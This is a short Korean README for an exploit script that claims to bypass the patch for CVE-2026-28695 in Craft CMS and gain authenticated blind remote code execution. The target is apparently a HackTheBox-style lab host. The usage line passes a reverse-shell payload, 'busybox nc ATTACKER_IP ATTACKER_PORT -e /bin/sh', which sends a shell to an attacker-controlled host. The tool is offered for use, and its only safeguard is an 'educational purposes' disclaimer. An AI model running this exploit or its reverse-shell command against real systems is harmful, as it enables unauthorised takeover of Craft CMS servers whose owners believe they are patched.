CVE-2026-28695 패치 우회 - Craft CMS 블라인드 RCE

Craft CMS의 인증된 블라인드 원격 코드 실행. CVE-2026-28695 수정(커밋 e31e508)에서 추가된 create() - BaseObject 제한을 우회합니다.

사용법

python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKER_IP ATTACKER_PORT -e /bin/sh'

면책 조항

이 스크립트는 교육 목적으로만 사용됩니다. 작성자는 이 익스플로잇으로 인해 발생하는 어떠한 오용이나 피해에 대해서도 책임지지 않습니다. 취약점을 테스트하거나 익스플로잇하기 전에 항상 허가를 받았는지 확인하세요!